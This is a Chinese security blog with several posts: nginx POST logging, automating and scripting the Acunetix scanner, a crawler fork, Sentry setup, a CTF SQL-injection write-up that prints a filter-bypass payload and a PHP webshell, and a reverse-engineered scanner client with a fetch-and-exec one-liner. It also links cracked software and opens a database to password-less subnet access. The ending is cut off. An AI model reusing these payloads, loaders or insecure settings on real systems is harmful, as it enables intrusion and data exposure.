nginx 接受post数据

发布时间:December 6, 2017 // 分类:工作日志,运维工作,开发笔记,linux // No Comments

开始使用的是apache.发现如果需要记录post数据还的使用其他的模块或者去hookapache来实现.后来发现nginx可以记录post数据

log_format  main  '$remote_addr - $remote_user [$time_local] "$request" '
             '$status $body_bytes_sent "$http_referer" '
             '"$http_user_agent" $http_x_forwarded_for';
  1. $request_body变量由nginx自身提供,用于记录POST请求日志

最后实现了可以获取post数据的内容

log_format  access  '$remote_addr  $remote_user  [$time_local]  $request '
             '$status  $body_bytes_sent  $http_referer   '
             '$http_user_agent $http_x_forwarded_for [$request_body]';

另外一个可以记录cookie和主机的

log_format  access  '$remote_addr  [$time_local]  $host $request $status $http_referer $http_user_agent $http_cookie [$request_body]';  

考虑下body_bytes_sent是不是可以不用
日志的地方

access_log  /data/logs/access.log access;

重启下nginx后测试

curl -d cmd=`id|base64` http://0cx.cc/\?cmd\=$(whoami) --refer $(id|base64) --user-agent $(id|base64)

抓取到的日志是

参考文档
Nginx 使用 lua-nginx-module 来获取post请求中的request和response信息
http://www.jianshu.com/p/78853c58a225
解决nginx在记录post数据时 中文字符转成16进制的问题
http://www.jianshu.com/p/8f8c2b5ca2d1

wvs如何应对频频提示激活

发布时间:September 15, 2017 // 分类:运维工作,工作日志,开发笔记 // 3 Comments

今天基友和我说起来wvs总是提示激活的时候没发扫描啊.于是就想了下咋个自动化或者快速的解决这个问题.总的来说我暂时知道的方法有两个。认真的激活或者禁止和服务器通信,就自然不会再激活

1.自动激活
虽然禁止了升级提示的频率有所减少。但是依旧会提示.所以就想办法搞了一个自动激活的脚本.加入计划任务。每天执行一次就好了…^_^

WScript.Echo "wvs auto Activation by Saline"
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "Activation.exe"
WScript.Sleep 2500
WshShell.SendKeys "{ENTER}"
WScript.Sleep 2500
WshShell.SendKeys "{ENTER}"
WScript.Sleep 2500
WshShell.SendKeys "{ENTER}"
WScript.Sleep 2500
WshShell.Run "taskkill /im chrome.exe /f"
WScript.Sleep 2500
WshShell.SendKeys "{ENTER}"
WScript.Sleep 100
WScript.Echo "Activation finished"
WshShell.Run "proto.exe awvs://launch/"
WScript.Sleep 2500
WshShell.Run "taskkill /im chrome.exe /f"
WScript.Sleep 100
WScript.Echo "wvs restart finish"

把里面的chrome.exe换成自己的浏览器的程序就好了.把脚本保存为xxx.vbs.放入到wvs的安装目录.重新建一个bat

cd C:\Program Files (x86)\Acunetix 11\11.0.170951158
cscript reactive.vbs
exit

然后把这个bat加入计划任务

schtasks  /create  /tn  wvs_active /tr  c:\wvs_task.bat  /sc  DAILY /st  00:30:00  


好不容易熬到了00:30.不知道为嘛要设定这个时间.

本来想录制gif的.奈何没有搞定.
http://www.iqiyi.com/w_19rv72o4ch.html

2.把地址加入hosts
这个是一个大牛提出来的.我还没有测试.

还有更多的期望大牛们来提供补充

整合了一个wvs11的扫描

发布时间:July 14, 2017 // 分类:开发笔记,linux,python,windows // 14 Comments

最近忙里偷闲的整合了一个wvs11的扫描脚本。主要是借助了nmap和wvs11_api来实现。大概就是酱紫

主要是三台机器.
一台centos做子域名爆破+端口扫描+数据收集.
另外两台windows做wvs接收任务并启动扫描

关于wvs11的api之前有做过介绍
http://0cx.cc/about_awvs11_api.jspx
具体的利用方式以及导出为xml格式的报告。最后对xml进行处理的脚本都在
https://github.com/0xa-saline/acunetix-api

域名爆破修改自lijiejie的subDomainsBrute。加入第三方的收集,以及在端口扫描之前对ip进行处理.就是同c段的取最大和最小的来强制加入中间段的扫描.
https://github.com/0xa-saline/subDomainsBrute

端口扫描主要依赖是nmap。这里调用的是python-nmap
http://0cx.cc/solve_bug_withe-python-nmap.jspx
http://0cx.cc/some_skill_for_quen.jspx

主要是来判断端口以及对应的服务.如果出现来http/https的服务以后直接放入wvs里面扫描

部分插件调用的是bugscan的扫描脚本
http://0cx.cc/which_cms_online.jspx

其实主要的服务扫描则是非常漂亮的fenghuangscan.字典的加载方式则是参考了bugscan的加载。可以依赖于域名来切割加入字典

大概有这么一些服务类

多数是弱口令检测以及弱服务类型.

主要是把任务推送到wvs。看到wifi万能钥匙src放出来一些测试域名。测试来几个..

修改了一个爬虫htcap

发布时间:June 24, 2017 // 分类:开发笔记,代码学习,python // No Comments

修改htcap的数据库为mysql

好懒..拖延症.....本来早两个月以前就应该完成了的东西.在基友的催促下匆忙的修改了一下.修改了一个爬虫htcap,这个爬虫强大之处就是基于PhantomJS 实现的.数据库本来这个是基于sqlite3的.本屌感觉这个爬虫其实功能还是不错的.于是就修改了数据库为mysql.还稍微增加了一些功能

大概新增的功能如下

0.禁止dns刷新缓存 done

1.修改htcap的数据库为mysql done

2.增加常见统计代码和分享网站的过滤功能 done

3.增加常见静态后缀的识别 done

4.获取url在原有的robots基础上增加目录爆破和搜索引擎采集.识别一些不能访问的目录 done

5.砍掉sqlmap和Arachni扫描功能. done

6.增加页面信息识别功能.

7.增加重复去重和相似度去重功能

列举说明下

0x00.禁止dns刷新缓存

#!/usr/bin/env python
# -*- coding: utf-8 -*-
import socket  
import requests
_dnscache={}  
def _setDNSCache():  
    """ 
    Makes a cached version of socket._getaddrinfo to avoid subsequent DNS requests. 
    """  

    def _getaddrinfo(*args, **kwargs):  
        global _dnscache  
        if args in _dnscache:  
            print str(args)+" in cache"  
            return _dnscache[args]  

        else:  
            print str(args)+" not in cache"    
            _dnscache[args] = socket._getaddrinfo(*args, **kwargs)  
            return _dnscache[args]  

    if not hasattr(socket, '_getaddrinfo'):  
        socket._getaddrinfo = socket.getaddrinfo  
        socket.getaddrinfo = _getaddrinfo  



def test(url):  
    _setDNSCache()  
    import time
    start = time.time()
    requests.get(url)
    end = time.time()
    print "first \t"+str(end-start)
    requests.get(url)
    sect = time.time()
    print "second \t"+str(sect - end)
    requests.get(url)
    print "third \t"+str(time.time() - sect)


if __name__ == '__main__':  
    url = "http://testphp.vulnweb.com"
    test(url)  

执行的结果还是比较满意

('0cx.cc', 80, 0, 1) not in cache
first   1.11360812187
('0cx.cc', 80, 0, 1) in cache
second  0.933846950531
('0cx.cc', 80, 0, 1) in cache
third   0.733961105347

但是又不是每一次都是ok的

('github.com', 443, 0, 1) not in cache
first   1.77086091042
('github.com', 443, 0, 1) in cache
second  2.0764131546
('github.com', 443, 0, 1) in cache
third   3.75542092323

不过这个方案虽好,但也有缺陷,罗列如下:
1.相当于只对socket.getaddrinfo打了一个patch,但socket.gethostbyname,socket.gethostbyname_ex还是走之前的策略
2.只对本程序有效,而修改/etc/hosts将对所有程序有效,包括ping

0x01.修改htcap的数据库为mysql

vi core/lib/DB_config.py
    #数据库信息
    'host' : 'localhost',
    'user' : 'root',
    'port' : '3306',
    'password' : 'mysqlroot',
    'db' : 'w3a_scan',

0x02.增加常见统计代码和分享网站的过滤功能

    def urlfilter(self):
        IGNORE_DOMAIN = [   #强制过滤域名.常见的bat和一些统计分享类的网站
            'taobao.com','51.la','weibo.com','qq.com','t.cn','baidu.com','gravatar.com','cnzz.com','51yes.com',
            'google-analytics.com','tanx.com','360.cn','yy.com','163.com','263.com','eqxiu.com','','gnu.org','github.com',
            'facebook.com','twitter.com','google.com'
        ]

....
and so on

测试站testphp.vulnweb.com

效果如下

1.没有做采集以及没有去重处理

. . initialized, crawl started with 10 threads
[=================================]   66 of 66 pages processed in 8 minutes
Crawl finished, 66 pages analyzed in 8 minutes


2.没有做采集和但是去重处理

3.做采集以及去重处理

. initialized, crawl started with 10 threads
[=================================]   108 of 108 pages processed in 43 minutes
Crawl finished, 108 pages analyzed in 43 minutes

ps:
采集前后的区别 66 108
去重前后的区别 85 65

唯一的缺点就是PhantomJS这玩意太特么占内存了..

https://github.com/0xa-saline/htcap_mysql

PS:因为PhantomJS作者不再维护PhantomJS项目了..估计这个也不会继续更新了

另外,不承担解决该爬虫导致的bug的问题

调用Acunetix11 API接口实现扫描

发布时间:May 19, 2017 // 分类:工作日志,开发笔记,运维工作,linux,windows // 16 Comments

实际上关于api的文档很少很少.从网络中找了好会才发现俩

1.获取API-KEY
首先来获取一个API-KEY
通过右上角Administrator--Profile

2.建立一个扫描目标

在演示一个扫描之前您将需要会在您想要扫描的网站上建立一个扫描目标。您将需要利用(POST)目标终端去实现它。使用cURL:

curl -k --request POST --url https://127.0.0.1:3443/api/v1/targets --header "X-Auth: apikey" --header "content-type: application/json" --data "{\"address\":\"http://testphp.vulnweb.com/\",\"description\":\"testphp.vulnweb.com\",\"criticality\":\"10\"}"

其中:

- https://127.0.0.1:3443 - 是Acunetix11端口URL(就是你安装了Acunetix11 的电脑)
- API-KEY - 这是Acunetix11的API-KEY,如果你安装了就可以在页面右上角的Administration中生成KEY了。
- http://testphp.vulnweb.com - 是您想要添加的一个扫描目标网址.务必带上http|https
- testphp.vulnweb.com - 是描述扫描目标的词句(非必填)
- 10 - 是目标的临界值 (Critical [30], High [20], Normal [10], Low [0])

命令成功之后会201,以及其它一些数据,其中包括target_id(返回结果中locations最后的一截字符串)


C:\Users\Administrator\Desktop
> curl -k --request POST --url https://127.0.0.1:3443/api/v1/targets --header "X-Auth: API_KEY" --header "content-type: application/json" --data "{\"address\":\"http://testphp.vulnw b.com/\",\"description\":\"testphp.vulnweb.com\",\"criticality\":\"10\"}"
{
 "target_id": "07674c74-728e-4e99-aa9c-b5ac238975b9",
 "criticality": 10,
 "address": "http://testphp.vulnweb.com/",
 "description": "testphp.vulnweb.com"
}

3.在一个创建好的目标上运行一个扫描

curl -k -i --request POST --url https://127.0.0.1:3443/api/v1/scans --header "X-Auth: API_KEY" --header "content-type: application/json" --data "{\"target_id\":\"07674c74-728e-4e99-aa9c-b5ac238975b9\",\"profile_id\":\"11111111-1111-1111-1111-111111111111\",\"schedule\":{\"disable\":false,\"start_date\":null,\"time_sensitive\":false}}"

其中:

- https://127.0.0.1:3443 - 是Acunetix11端口URL
- API-KEY - 是您在第1步中生成的的API key
- TARGET-ID - 是您从之前的JSON回复中得到的target_id值
- 11111111-1111-1111-1111-111111111111 - 是扫描profile ID。通过使用(GET)scanning_profiles 端点获得的列表,列表包括了扫描profile和他们的ID。

关于获取target_id

> curl -k https://127.0.0.1:3443/api/v1/scanning_profiles --header "X-Auth: API_KEY"
{
 "scanning_profiles": [
  {
   "custom": false,
   "checks": [],
   "name": "Full Scan",
   "sort_order": 1,
   "profile_id": "11111111-1111-1111-1111-111111111111"
  },
  {
   "custom": false,
   "checks": [],
   "name": "High Risk Vulnerabilities",
   "sort_order": 2,
   "profile_id": "11111111-1111-1111-1111-111111111112"
  },
  {
   "custom": false,
   "checks": [],
   "name": "Cross-site Scripting Vulnerabilities",
   "sort_order": 3,
   "profile_id": "11111111-1111-1111-1111-111111111116"
  },
  {
   "custom": false,
   "checks": [],
   "name": "SQL Injection Vulnerabilities",
   "sort_order": 4,
   "profile_id": "11111111-1111-1111-1111-111111111113"
  },
  {
   "custom": false,
   "checks": [],
   "name": "Weak Passwords",
   "sort_order": 5,
   "profile_id": "11111111-1111-1111-1111-111111111115"
  },
  {
   "custom": false,
   "checks": [],
   "name": "Crawl Only",
   "sort_order": 6,
   "profile_id": "11111111-1111-1111-1111-111111111117"
  }
 ]
}

启动一个扫描任务

> curl -k -i --request POST --url https://127.0.0.1:3443/api/v1/scans --header "X-Auth: API_KEY" --header "content-type: application/json" --data "{\"target_id\":\"07674c74-728e-4e99-aa9c-b5ac238975b9\",\"profile_id\":\"11111111-1111-1111-1111-111111111111\",\"schedule\":{\"disable\":false,\"start_date\":null,\"time_sensitive\":false}}"
HTTP/1.1 201 Created
Pragma: no-cache
Content-type: application/json; charset=utf8
Cache-Control: no-cache, must-revalidate
Expires: -1
Location: /api/v1/scans/a6e36dd0-9976-46a7-9740-29f897f911d6
Date: Fri, 19 May 2017 03:40:12 GMT
Transfer-Encoding: chunked

{
 "target_id": "07674c74-728e-4e99-aa9c-b5ac238975b9",
 "ui_session_id": null,
 "schedule": {
  "disable": false,
  "start_date": null,
  "time_sensitive": false
 },
 "profile_id": "11111111-1111-1111-1111-111111111111"
}

4.查看任务扫描的状态

先获取扫描任务的scan_id

curl -k --url https://127.0.0.1:3443/api/v1/scans --header "X-Auth:API_KEY" --header "content-type: application/json"

查看具体scan_id 的扫描细节

 curl -k --url https://127.0.0.1:3443/api/v1/scans/56d847bc-344b-4513-a960-69e7d1988a46 --header "X-Auth:API-KEY" --header "content-type: application/json"

5.停止任务

apiurl+/scans/+scan_id+/abort

 curl -k --url https://127.0.0.1:3443/api/v1/scans/56d847bc-344b-4513-a960-69e7d1988a46/abort --header "X-Auth:API-KEY" --header "content-type: application/json"

6.生成模板

获取模板

curl -k --url https://127.0.0.1:3443/api/v1/report_templates --header "X-Auth:API-KEY" --header "content-type: application/json"

生成报告

curl -k -i --request POST --url https://127.0.0.1:3443/api/v1/reports --header "X-Auth: API-KEY" --header "content-type: application/json" --data "{\"template_id\":\"11111111-1111-1111-1111-111111111111\",\"source\":{\"list_type\":\"scans\", \"id_list\":[\"SCAN-ID\"]}}

其中:
- https://127.0.0.1:3443 - 是Acunetix11端口URL
- API-KEY - 是您在第1步中生成的的API key
- SCAN-ID - 是您从之前的JSON回复中获得的scan_id。

会有一个201 HTTP回复显示了请求是成功的 ,并且会包含一个带有id的Location header(例如 Location: /api/v1/reports/54f402f6-7a60-4934-952f-45bfe6c4abf4 )。一旦报告被URL: https://127.0.0.1:3443/reports/download/54f402f6-7a60-4934-952f-45bfe6c4abf4.pdf 访问,这个id可以被用来下载报告。最新版本还会提供HTML版本的报告,并且可以从https://127.0.0.1:3443/reports/download/54f402f6-7a60-4934-952f-45bfe6c4abf4.html 访问。

参考

1.https://github.com/jenkinsci/acunetix-plugin/blob/master/src/main/java/com/acunetix/Engine.java
2.http://blog.csdn.net/qq_31497435/article/details/64441474

有小伙伴问哪里有这个下载

来自吾爱大神Hmily作品,不多说。
原帖:http://www.52pojie.cn/thread-609275-1-1.html
网盘:http://pan.baidu.com/s/1c1JoyBm 密码:hyue
【由于之前被举报无法分享,这次原文件和补丁都加了压缩密码:www.52pojie.cn】

如何开启远程访问
安装的时候选择允许远程访问

#!/usr/bin/python
# -*- coding: utf-8 -*-

import json
import requests
import requests.packages.urllib3
'''
import requests.packages.urllib3.util.ssl_
requests.packages.urllib3.util.ssl_.DEFAULT_CIPHERS = 'ALL'

or 

pip install requests[security]
'''
requests.packages.urllib3.disable_warnings()

tarurl = "https://127.0.0.1:3443/"
apikey="yourapikey"
headers = {"X-Auth":apikey,"content-type": "application/json"}

def addtask(url=''):
    #添加任务
    data = {"address":url,"description":url,"criticality":"10"}
    try:
        response = requests.post(tarurl+"/api/v1/targets",data=json.dumps(data),headers=headers,timeout=30,verify=False)
        result = json.loads(response.content)
        return result['target_id']
    except Exception as e:
        print(str(e))
        return

def startscan(url):
    # 先获取全部的任务.避免重复
    # 添加任务获取target_id
    # 开始扫描
    targets = getscan()
    if url in targets:
        return "repeat"
    else:
        target_id = addtask(url)
        data = {"target_id":target_id,"profile_id":"11111111-1111-1111-1111-111111111111","schedule": {"disable": False,"start_date":None,"time_sensitive": False}}
        try:
            response = requests.post(tarurl+"/api/v1/scans",data=json.dumps(data),headers=headers,timeout=30,verify=False)
            result = json.loads(response.content)
            return result['target_id']
        except Exception as e:
            print(str(e))
            return

def getstatus(scan_id):
    # 获取scan_id的扫描状况
    try:
        response = requests.get(tarurl+"/api/v1/scans/"+str(scan_id),headers=headers,timeout=30,verify=False)
        result = json.loads(response.content)
        status = result['current_session']['status']
        #如果是completed 表示结束.可以生成报告
        if status == "completed":
            return getreports(scan_id)
        else:
            return result['current_session']['status']
    except Exception as e:
        print(str(e))
        return

def getreports(scan_id):
    # 获取scan_id的扫描报告
    data = {"template_id":"11111111-1111-1111-1111-111111111111","source":{"list_type":"scans","id_list":[scan_id]}}
    try:
        response = requests.post(tarurl+"/api/v1/reports",data=json.dumps(data),headers=headers,timeout=30,verify=False)
        result = response.headers
        report = result['Location'].replace('/api/v1/reports/','/reports/download/')
        return tarurl.rstrip('/')+report
    except Exception as e:
        print(str(e))
        return

def getscan():
    #获取全部的扫描状态
    targets = []
    try:
        response = requests.get(tarurl+"/api/v1/scans",headers=headers,timeout=30,verify=False)
        results = json.loads(response.content)
        for result in results['scans']:
            targets.append(result['target']['address'])
            print result['scan_id'],result['target']['address'],getstatus(result['scan_id'])#,result['target_id']
        return list(set(targets))
    except Exception as e:
        raise e

if __name__ == '__main__':
    print startscan('http://testhtml5.vulnweb.com/')

实际测试效果

ps。在屌大牛的帮助下。抓到了pg数据库的连接信息.然后连蒙带猜的弄到了连接密码【ps:其实配置文件里面写好了本地连接压根不需要密码23333.好尴尬】

有小伙伴问我如何获取详细数据.仔细思考了一圈,发现有一个办法.就是开启postgresql允许远程连接
1.找到postgresql.conf位置

C:\Program Files (x86)\Acunetix 11
> find \ -name "postgresql.conf"
\/ProgramData/Acunetix 11/db/postgresql.conf

在C:\ProgramData\Acunetix 11\db下.

打开后修改第一行地址localhost为*

#listen_addresses = 'localhost'
listen_addresses = '*'

再到同目录下找到pg_hba.conf。在# IPv4 local connections: 行下,添加一行内容为:

# IPv4 local connections:
host    all             all             127.0.0.1/32            trust
host    all             wvs             192.168.0.0/24          trust

此处解释:192.168.0.0/24。意思为允许192.168.0段内的ip可以无密码连接。添加完成后,保存。

重启Acunetix Database服务.

基于docker的sentry搭建过程

发布时间:April 13, 2017 // 分类:开发笔记,运维工作,linux,windows,python,生活琐事 // 2 Comments

最近拜读董伟明大牛的《python web实战开发》发现他推荐了一个神器sentry.恰好不久前还在和小伙伴讨论如何记录try--except的异常信息。发现刚好可以用上.

** 简介 **

Sentry’s real-time error tracking gives you insight into production deployments and information to reproduce and fix crashes.---官网介绍
Sentry是一个实时事件日志记录和汇集的日志平台,其专注于错误监控,以及提取一切事后处理所需的信息。他基于Django开发,目的在于帮助开发人员从散落在多个不同服务器上的日志文件里提取发掘异常,方便debug。Sentry由python编写,源码开放,性能卓越,易于扩展,目前著名的用户有Disqus, Path, mozilla, Pinterest等。它分为客户端和服务端,客户端就嵌入在你的应用程序中间,程序出现异常就向服务端发送消息,服务端将消息记录到数据库中并提供一个web节目方便查看。

** 安装 **
通过官方文档https://docs.sentry.io/ 可以得知,安装服务有两种方式,一种是使用Python,这种方式个人感觉比较麻烦。于是选择了第二种方式:使用docker[官方更加推荐]

这种方法需要先安装** docker **和 ** docker-compose **

0x01 安装docker
0x02 安装docker-compose
0x03 获取sentry
0x04 搭建sentry

我本地安装过了docker和docker-compose.直接从第三步开始

git clone https://github.com/getsentry/onpremise.git

获取到本地之后,就可以根据他的README.md开始着手搭建了,整个过程还是比较顺利的。

** step 1.构建容器并创建数据库和sentry安装目录 **

mkdir  -p data/{sentry,postgres}

** step 2.生成secret key并添加到docker-compose文件里 **

sudo docker-compose run --rm web config generate-secret-key

这个过程时间有点长。其间会提示创建superuser,用户名是一个邮箱,这个邮箱今后会收到sentry相关的消息,口令可以随便设置,只要自己记得住就可以了。

最后会在命令行输出一串乱七八糟的字符(形如:** z#4zkbxk1@8r*t=9z^@+q1=66zbida&dliunh1@p–u#zv63^g ** )
这个就是 secretkey,将这串字符复制到docker-compose.yml文件中并保存.取消SENTRY_SECRET_KEY的注释,并把刚刚复制的字符串插入其中,类似如下

** step 3.重建数据库,并创建sentry超级管理员用户 **

sudo docker-compose run --rm web upgrade

创建用户,sentry新建的时候需要一个超级管理员用户

** step 4.启动所有的服务 **

sudo docker-compose up -d


至此sentry搭建完成!

实际效果

from raven import Client
client = Client('http://f4e4bfb6d653491281340963951dde74:10d7b52849684a32850b8d9fde0168dd@127.0.0.1:9000/2')
    def find_result(self, sql,arg=''):
        try:
            with self.connection.cursor() as cursor:
                if len(arg)>0:
                    cursor.execute(sql,arg)
                else:
                    cursor.execute(sql)
                result = cursor.fetchone()
                self.connection.commit()
                return result

        except Exception, e:
            client.captureException()
            print sql,str(e)

print sql,str(e)

输出错误

client.captureException()

记录的错误日志

神秘小姐姐的留言板

发布时间:March 17, 2017 // 分类:PHP,开发笔记,代码学习,代码审计 // No Comments

太久没有搞过这种耗脑子的游戏了

地址:http://c.bugscan.net/#!/boss/12

访问地址发现一任意文件读取

http://112.126.88.39:10247/include.php?file=suanfa.php

各种读以后发现medium.php中存在注入

<?php 
if ($_SERVER['HTTP_USER_AGENT'] != "seclover Browser") {
    echo '没用的!!!';
    exit;
}
$id = $_POST['soid'];
include 'Conf/xycms.inc.php';
include 'seclover.php';
include 'filter.php';
$id = seclover($id);
$con = mysql_connect($db_address, $db_user, $db_pass) or die("不能连接到数据库!!" . mysql_error());
mysql_select_db($db_name, $con);
$id = mysql_real_escape_string($id);
$sql = "SELECT * FROM `message` WHERE display=1 AND id={$id}";
$rs=mysql_fetch_array($result); echo htmlspecialchars($rs['nice']).':<br/>    '.filter($rs['say']).'<br />'; 
mysql_free_result($result); 
mysql_close($con);
?> 

读取seclover.php发现为一过滤函数

<?php
function seclover($content)
{
    $keyword = array("select", "union", "and", "from", ' ', "'", ";", '"', "char", "or", "count", "master", "name", "pass", "admin", "+", "-", "order", "=");
    $info = strtolower($content);
    for ($i = 0; $i <= count($keyword); $i++) {
        $info = str_replace($keyword[$i], '', $info);
    }
    return $info;
}

但是可以利用selselectect来匹配以后替换还剩下select这样的方式继续注入.继续回到medium.php。

if ($_SERVER['HTTP_USER_AGENT'] != "seclover Browser") {
    echo '没用的!!!';
    exit;
}

发现需要匹配的ua必选是seclover Browser。不然不能执行sql语句。post传递的值经过没有什么用的mysql_real_escape_string以后再进入sql。
经过一番xxx发现字段为4.但是有一个神奇的存在,传递到sql的id必须是不存在的.不然sql正常执行了却没有办法回显我们需要的内容
传入一个存在的

传入一个不存在的

坑爹的玩意...折腾这个一个下午啊...
然后就是猜表..期间还下载了真正的源码回来测试.

$keyword = array("select", "union", "and", "from", ' ', "'", ";", '"', "char", "or", "count", "master", "name", "pass", "admin", "+", "-", "order", "=");

果断的猜测是admin

果然是..用户名差字段不多就是username了.密码的字段找了一圈没有找到..后来发现后台是
http://112.126.88.39:10247/login/
观察了一下字段信息

  <form  name="login" method="post" 
  action="./pass.php">
    <label>用户名:
      <input type="text" name="username" />
    </label>
    <p>密&nbsp;码:
      <input type="password" name="userpass" />
  </p>
    <p>
      <label>
      <input type="submit" name="Submit" value="登录" />
      </label>
    </p>
  </form>

好吧,测试下userpass

soid=0/**/anandd/**/11%3C%3E12/**/uniunionon/**/selselectect/**/1,2,userppassass,4/**/ffromrom/**/aadmindmin/**/limit/**/1


得到的字符是加密的.记得第一次访问include.php的时候跟的是suanfa.php

<?php
base64_encode(rc4($content, "yangrong"));
function rc4($data, $pwd)
{
    $cipher = "";
    $key[] = "";
    $box[] = "";
    $pwd_length = strlen($pwd);
    $data_length = strlen($data);
    for ($i = 0; $i < 256; $i++) {
        $key[$i] = ord($pwd[$i % $pwd_length]);
        $box[$i] = $i;
    }
    for ($j = $i = 0; $i < 256; $i++) {
        $j = ($j + $box[$i] + $key[$i]) % 256;
        $tmp = $box[$i];
        $box[$i] = $box[$j];
        $box[$j] = $tmp;
    }
    for ($a = $j = $i = 0; $i < $data_length; $i++) {
        $a = ($a + 1) % 256;
        $j = ($j + $box[$a]) % 256;
        $tmp = $box[$a];
        $box[$a] = $box[$j];
        $box[$j] = $tmp;
        $k = $box[($box[$a] + $box[$j]) % 256];
        $cipher .= chr(ord($data[$i]) ^ $k);
    }
    return $cipher;
}

搜了一下rc4的相关内容.发现了一些有趣的东西。C4 加密算法還原 (還原只需要重新加密一次)

$key = '5201314';                               //原始KEY
$pwd = md5(md5($key).'我是常量');     //md5+常量
$data = '我愛北京天安門';                    //要加密的數據
$cipher = rc4($pwd, $data);                //AC4 加密算法
$c = rc4($pwd, $cipher);                    //AC4 加密算法還原 (還原只需要重新加密一次)

那么解密的方式就是

访问就得到了密码。登录后台以后发现

果断的读取

<?php
$pwd = "cmd00";
if (isset($_POST[$pwd]) && !empty($_POST[$pwd])) {
    $cmd = $_POST['cmd'];
    $path = $_POST['path'];
    switch ($cmd) {
        case 'ls':
            echo @FileTreeCode($path);
            break;
        case 'cat':
            echo @file_get_contents($path);
            break;
        default:
            die('Command Not Found Or No Permission!');
            break;
    }
}
function FileTreeCode($D)
{
    $ret = "";
    $F = @opendir($D);
    if ($F == NULL) {
        $ret = "ERROR:// Path Not Found Or No Permission!";
    } else {
        $M = NULL;
        $L = NULL;
        while ($N = @readdir($F)) {
            $P = $D . "/" . $N;
            $T = @date("Y-m-d H:i:s", @filemtime($P));
            @($E = substr(base_convert(@fileperms($P), 10, 8), -4));
            $R = "\t" . $T . "\t" . @filesize($P) . "\t" . $E . "\n";
            if (@is_dir($P)) {
                $M .= $N . "/" . $R;
            } else {
                $L .= $N . $R;
            }
        }
        $ret .= $M . $L;
        @closedir($F);
    }
    return $ret;
}

一个小马..简直6到不行..

提交flag

太久没弄了..学到好多姿势..

关于bugscan的屁事

发布时间:March 14, 2017 // 分类:开发笔记,linux,python,windows // No Comments

** 关于bugscan的使用 **
从14年接触python,15年开始写bugscan插件到现在bugscan的改版.早起的爬虫,后来逆向客户端.主要的是为了它那个开源的插件,还有一个原因就是它的插件太方便了.它的生成有模板可用的.

早期写的教程 https://my.oschina.net/rookier/blog/393074

** 逆向的辛酸苦辣 **
最早我还会c++的时候写过一次爬虫
https://my.oschina.net/rookier/blog/395712
后来一直学习python又重新写了一次
http://0cx.cc/python_spider_bugscan.jspx
再后来发现部分插件是没法用的.于是又果断的逆向了客户端
http://0cx.cc/uncompyle_loads.jspx

** 关于插件的调用 **
这个最早的时候是批量调用
http://0cx.cc/bug_scan_vul.jspx
后来是逆向出插件一段时候后识别后调用
http://0cx.cc/which_cms_online.jspx
期间各种扫描分析
http://0cx.cc/bugscan_run_exec.jspx

** 继续插件调用的爱恨情愁 **

python -c "exec(__import__('urllib2').urlopen('http://t.cn/xxxxx').read())" -m 5

这个url会经过短地址还原,带上自己的ID向服务器发起rpcs认证请求。详情参照http://0cx.cc/uncompyle_loads.jspx

if Debug_X(debugkey_str, 'main'):
        print 'tid=', thread.start_new_thread(Mysql_insert_QueueInfo, ())

    if '_S' not in globals():
        _S = 'https'
    if '_U' not in globals():
        _U = 'your ID just like 0000000000000'
    if '_B' not in globals():
        _B = 'old.bugscan.net'

    Urls = '%s://%s/rpcs' % (_S, _B)
    Login_Get = Loginx(_U, Urls)
    VER_INT = 1.95
    UPdate_yes_no = False
    Plugin_Code = {}

追查下Loginx

class Loginx(object):
    def __init__(self, uhash, serviceURL, serviceName=None):
        self.__serviceURL = serviceURL
        self.__serviceName = serviceName
        self.__uhash = uhash

    def __call__(self, *args):

        PC_uuid = str(uuid.uuid1())
        Login_Info_json = json.dumps({'method': self.__serviceName,
                          'params': args,
                          'uid': self.__uhash,
                          'uuid': PC_uuid})

        Mysql_table_insert('rpclog', method=self.__serviceName, params=repr(args), uid=self.__uhash, uuid=PC_uuid)

        Login_Info_json = md5.md5(Login_Info_json).hexdigest() + '|' + zlib.compress(Login_Info_json, 9)

        ServerURL = self.__serviceURL
        INT_15 = 15
        for For_int in range(INT_15):
            try:
                HTTP_getRead = None

                for For_int in range(3):

                    ServerInfo = urlparse.urlparse(ServerURL)

                    if ServerInfo.scheme == 'https':
                        Http_Obj = HttpLib(ServerInfo.hostname, ServerInfo.port, timeout=60)
                    else:
                        Http_Obj = httplib.HTTPConnection(ServerInfo.hostname, ServerInfo.port, timeout=60)

                    Http_Obj.putrequest('POST', ServerInfo.path)
                    Http_Obj.putheader('Content-Length', str(len(Login_Info_json)))
                    Http_Obj.putheader('Content-Type', 'application/json')
                    Http_Obj.endheaders()

                    Http_Obj.send(Login_Info_json)

                    HTTP_getResponse = Http_Obj.getresponse()

                    HTTP_getHeaders = dict(HTTP_getResponse.getheaders())

                    if HTTP_getHeaders.has_key('location') and HTTP_getHeaders['location'] != ServerURL:

                        Http_Obj.close()
                        ServerURL = HTTP_getHeaders['location']

                    else:

                        HTTP_getRead = HTTP_getResponse.read()
                        Http_Obj.close()
                        break

                if not HTTP_getRead:
                    raise IOError('Content empty')
                    # print HTTP_getRead

                Find_return = HTTP_getRead.find('|')
                #-------------------
                Code_md5, code_json = HTTP_getRead[:Find_return], zlib.decompress(HTTP_getRead[Find_return + 1:])

                if Code_md5 != md5.md5(code_json).hexdigest():

                    raise IOError('json decode error')

                HTTP_getResponse = json.loads(code_json)

                if PC_uuid != HTTP_getResponse['uuid']:

                    raise IOError('UUID unmatched')

            except Exception as o0oo0o0O00OO:

                if For_int == INT_15 - 1:
                    Logging_Obj.exception(Get_lineNumber_fileName())
                    raise o0oo0o0O00OO
                else:
                    time.sleep(5)
            else:
                if HTTP_getResponse['error'] != None:
                    raise RpcError(HTTP_getResponse['error'])
                else:
                    return HTTP_getResponse['result']

就是带上自己的专属id,然后直接以json格式访问rpcs地址.整个过程需要正确认证才有HTTP_getResponse['result']的返回..如果认证成功以后,会从rpcs地址获取任务

Task_List = Login_Get.get_task_list(SID_INT, Scan_thread_idel)#获取任务列表

Task_List里面包含了相关的信息

{
    u'tasks': [{u'policy': u'base64.encode(plugins)', u'id': taskid, u'target': u'testphp.acunetix.com'}], 
    u'nodever': u'0', 
    u'stops': []
}

Task_List['tasks']里面包含了相关的信息

{
    u'policy': u'base64.encode(plugins)', 任务参数
    u'id': taskid, 任务id
    u'target': u'testphp.acunetix.com'任务目标
}

Tasks_n 里面包含了相关的信息

Tasks_n = {
    u'subdomain': True, 
    u'scanport': True, 
    u'maxtask': 7000, 
    u'useragent': u'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; .NET CLR 2.0.50727)', 
    u'anyone': True, 
    u'user_dict': u'', 
    u'timeout': 24, 
    u'plugins': {}, 
